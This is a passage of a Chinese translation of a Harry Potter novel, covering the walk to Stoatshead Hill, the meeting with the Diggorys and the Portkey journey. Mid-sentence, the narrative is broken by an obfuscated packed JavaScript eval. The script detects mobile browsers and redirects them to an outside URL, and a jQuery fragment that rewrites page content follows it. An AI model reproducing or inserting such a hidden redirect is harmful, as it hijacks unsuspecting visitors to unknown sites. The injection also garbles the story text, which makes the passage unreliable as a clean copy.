“不,不,那就太远了,”韦斯莱先生笑着说,“我们只需走一小段路。把大批巫师集合到一起而不引起麻瓜的注意,这是非常困难的。我们不得不非常谨慎,选择最佳时间上路,在魁地奇世界杯赛这样盛大的场合——” “乔治!”韦斯莱夫人突然厉声喝道,把大家都吓了一跳。 “怎么啦?”乔治说。他假装什么事也没有,可是骗不了任何人。 “你口袋里是什么?” “没什么!” “不许对我说瞎话!” 韦斯莱夫人用魔杖指着乔治的口袋,念道:“飞来飞去!” 一些花花绿绿的小东西从乔治口袋里跳了出来。乔治伸手去抓,没有抓住,它们径直跳进了韦斯莱夫人伸出的手掌中。 “我告诉过你的!叫你们把这些玩意儿毁掉!”韦斯莱夫人气愤地说,举起手里的东西,那无疑又是肥舌太妃糖,“叫你们扔掉这些劳什子!快把口袋掏空,快点,你们两个!” 这真是令人难受的一幕。 那对孪生兄弟显然想把大量的太妃糖从家里走私出去,韦斯莱夫人用上了她的飞来咒,才把那些糖果找了出来。 “飞来飞去!飞来飞去!飞来飞去!”她一连声地喊道,太妃糖从各个意想不到的地方嗖嗖地飞出来,包括乔治夹克衫的内衬里,以及弗雷德牛仔裤的翻边里。 “我们花了整整半年,才研制出这些东西!”弗雷德看到母亲把太妃糖扔到一边,委屈地喊道。 “半年时间花在这个上面,真不错!”韦斯莱夫人尖声叫道,“怪不得O.W.Ls考不出好成绩呢!” 总之,他们离开的时候,气氛不是很友好。韦斯莱夫人亲吻韦斯莱先生的面颊时,仍然板着面孔。那对孪生兄弟的态度更坏。他们把帆布背包甩到背上,一句话没对妈妈说就走了出去。 “再见,祝你们玩得痛快,”韦斯莱夫人说,“表现好一点儿。”她冲着孪生兄弟离去的背影喊道,可是他们既没有回头,也没有回答。 “我中午的时候打发比尔、查理和珀西上路。”韦斯莱夫人对韦斯莱先生说。这时,韦斯莱先生正和哈利、罗恩、赫敏、金妮穿过漆黑的院子,跟在弗雷德和乔治后面出发了。 空气很寒冷,月亮还高高地挂在天上。只有他们右边的地平线上露出一抹淡淡的灰绿色,显示着黎明正在渐渐到来。哈利一直在想着成千上万的巫师赶去观看魁地奇比赛的事,便快走几步,赶上韦斯莱先生。 “您说,大家怎样才能赶到那儿而不引起麻瓜的注意呢?”他问。 “组织工作困难重重,”韦斯莱先生叹了口气,“主要的问题是,大约有十万巫师要来观看世界杯,我们当然找不到一个能容纳这么多人的魔法场地。有些地方是麻瓜们进不去的,但是想象一下,我们怎么可能把十万巫师都塞进对角巷,所以我们必须找一个更好的没人的荒野,设置更多的防御麻瓜的措施。整个内阁为这个事忙了好几个月。首先,当然啦,我们必须把大家到达的时间错开。球票便宜的人只好提前两个星期赶到。一部分人使用麻瓜的交通工具,但人数有限,我们不能让太多的人塞满麻瓜的公共汽车和火车——你别忘了,世界各地都有巫师赶来。当然,还有些人采用幻影显形术,但我们必须规定一些安全的地方让他们显形,远离所有的麻瓜。我想附近大概正好有座森林,可用作幻影显形的落脚点。对于那些不愿意或不会幻影显形的人,我们就使用门钥匙。这东西的作用是在规定时间内把巫师从一个地方运送到另一个地方。如果需要的话,一次可以运送一大批人。在英国各地投放了两百把门钥匙,离我们最近的一把就在白鼬山的山顶上,我们现在就是去那里。” 韦斯莱先生指着前方,奥特里-圣卡奇波尔村的后面耸立着大片阴影。 “门钥匙是什么样的东西?”哈利好奇地问。 “啊,五花八门,什么样的都有,”韦斯莱先生说,“当然,都是看上去不起眼的东西,这样麻瓜就不会把它们捡起来摆弄......他们会以为这是别人胡乱丢弃的......” 他们步履艰难地顺着黑暗潮湿的小路,朝村庄的方向走去,四下里一片寂静,只听得见自己的脚步声。他们穿过村庄时,天色慢慢地亮了一些,原先的漆黑一片渐渐变成了深蓝色。哈利的手脚都冻僵了。韦斯莱先生不停地看表。 他们开始爬白鼬山了,脚下不时被隐蔽的兔子洞绊一下,或者踩在黑漆漆、黏糊糊的草叶上打滑,根本匀不出气儿来说话。哈利每喘一口气,都觉得胸口一阵刺痛,双腿也渐渐挪不开步子了,就在这时,他终于发现双脚踏在了平地上。 “哟,”韦斯莱先生摘下眼镜,用身上的球衣擦着,气喘吁吁地说,“不错,我们到得很准时——还有十分钟......” 赫敏最后一个登上山顶,她的一只手紧紧揪住衣襟。 “现在我们只需要找到门钥匙,”韦斯莱先生说着,戴上眼镜,眯着眼睛在地上寻视,“不会很大......快找一找......” 大家散开,分头寻找。可是,他们刚找了两三分钟,就有一个喊声划破了宁静的夜空。 “在这儿,亚瑟!过来,儿子!我们找到了!” 在山顶的另一边,星光闪烁的夜空衬托着两个高高的身影。 “阿莫斯!”韦斯莱先生说,笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601471|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大步走向那个喊他的男人。其他人跟了上去。 韦斯莱先生和一个长着棕色短胡子的红脸庞巫师握手,那人的另一只手里拿着个东西,像是一只发了霉的旧靴子。 “我给大家介绍一下,这是阿莫斯·迪戈里。”韦斯莱先生说,“他在神奇动物管理控制司工作。这是他的儿子塞德里克,我想你们都认识吧?” 塞德里克·迪戈里大约十七岁,是一个长得特别帅的男孩子。在霍格沃茨,他是赫奇帕奇魁地奇球队的队长兼找球手。 “嗨,你们好。”塞德里克说,转头望着大家。 每个人都应了声“嗨”,但弗雷德和乔治没有吭气,只是点了点头。去年,塞德里克在第一场魁地奇比赛中打败了他们格兰芬多,这对双胞胎到现在还没有完全原谅他。 “走过来很远吧,亚瑟?”塞德里克的父亲问道。 “还好,”韦斯莱先生说,“我们就住在村庄的那一边。你们呢?” “两点钟就起床了,是不是,塞德?不瞒你说,我真愿意他早点通过幻影显形考试。不过......没什么可抱怨的......魁地奇世界杯嘛,绝不能错过,哪怕要出一口袋加隆——实际上,买票也确实花了那么多钱呢。不过我总算对付下来了,还不算太难......” 阿莫斯·迪戈里和蔼地望着周围的韦斯莱家三兄弟、哈利、赫敏和金妮,“亚瑟,这些都是你的孩子?” “哦,不,红头发的才是。”韦斯莱先生把自己的孩子一一指出。“这是赫敏,罗恩的朋友——这是哈利,也是罗恩的朋友——” “天哪,”阿莫斯·迪戈里说,眼睛一下子睁着溜圆,“哈利?哈利·波特?” “嗯——是的。”哈利说。 哈利已经习惯了人们初次和他见面时总是好奇地盯着他,也习惯了他们立刻把目光投向他额头上的伤疤,但这总是使他感到很不自在。 “当然啦,塞德谈到过你。”阿莫斯·迪戈里说,“他告诉了我们去年他和你比赛的事......我对他说,我说——塞德,这件事等你老了可以讲给你的孙子们听,很了不起......你打败了哈利·波特!” 哈利不知道该怎样回答,就什么也没说。弗雷德和乔治又都皱起了眉头。塞德显得有点儿尴尬。 “哈利从扫帚上掉下来了,爸爸,”他小声地嘟囔说,“我告诉过你的......是一次意外事故......” “是啊,可是你没有掉下来,对不对?”阿莫斯亲切地大声说,一边拍了拍儿子的后背,“我们的塞德总是这么谦虚,总是一副绅士风度......但赢的人总是最棒的,我敢肯定哈利也会这么说的,是吗?一个从扫帚上掉了下来,另一个稳稳地待在上面,你不需要具备天才的脑瓜,就能说出谁是更出色的飞行家!” “时间差不多快到了,”韦斯莱先生赶紧说道,把怀表又掏出来看了看,“你知道我们还要等什么人吗,阿莫斯?” “不用了,洛夫古德一家一星期前就到了那里,福西特一家没有弄到票,”迪戈里先生说,“这片地区没有别人了,是吧?” “据我所知是没有了。”韦斯莱先生说,“好了,还有一分钟......我们应该各就各位了......” 他转脸看着哈利和赫敏。 “你们只要碰到门钥匙,就这样,伸出一根手指就行——” 由于大家都背着鼓鼓囊囊的大背包,九个人好不容易才围拢在阿莫斯·迪戈里拿着的那只旧靴子周围。 他们站在那里,紧紧地围成一圈,一阵清冷的微风吹过山顶,没有人说话。哈利突然想到,如果这时恰巧有个麻瓜从这里走过,这情景该是多么怪异......九个人,其中两个人还是大人,在昏暗的光线中抓着这只破破烂烂的旧靴子,静静地等待着…… “三......”韦斯莱先生一只眼睛盯着怀表,低声念道,“二......一......” 说时迟那时快,哈利觉得,似乎有一个钩子在他肚脐眼后面,以无法抵挡的势头猛地向前一钩,他便双脚离地,飞起来了。他可以感觉到罗恩和赫敏在他两边,他们的肩膀与他的撞到一起。他们一阵风似的向前疾飞,眼前什么也看不清。哈利的食指紧紧粘在靴子上,好像那靴子具有一股磁力似的,把他拉过去,拉过去,然后—— 他的双脚重重地落到地上,罗恩踉踉跄跄地撞在他身上,他摔倒了。啪的一声,门钥匙落到他脑袋边的地上。 哈利抬起头来,只有韦斯莱先生、迪戈里先生和塞德里克还站着,但也是一副被风吹得披头散发、歪歪斜斜的样子,其他人都跌在了地上。 “五点零七分,来自白鼬山。”只听一个声音说道。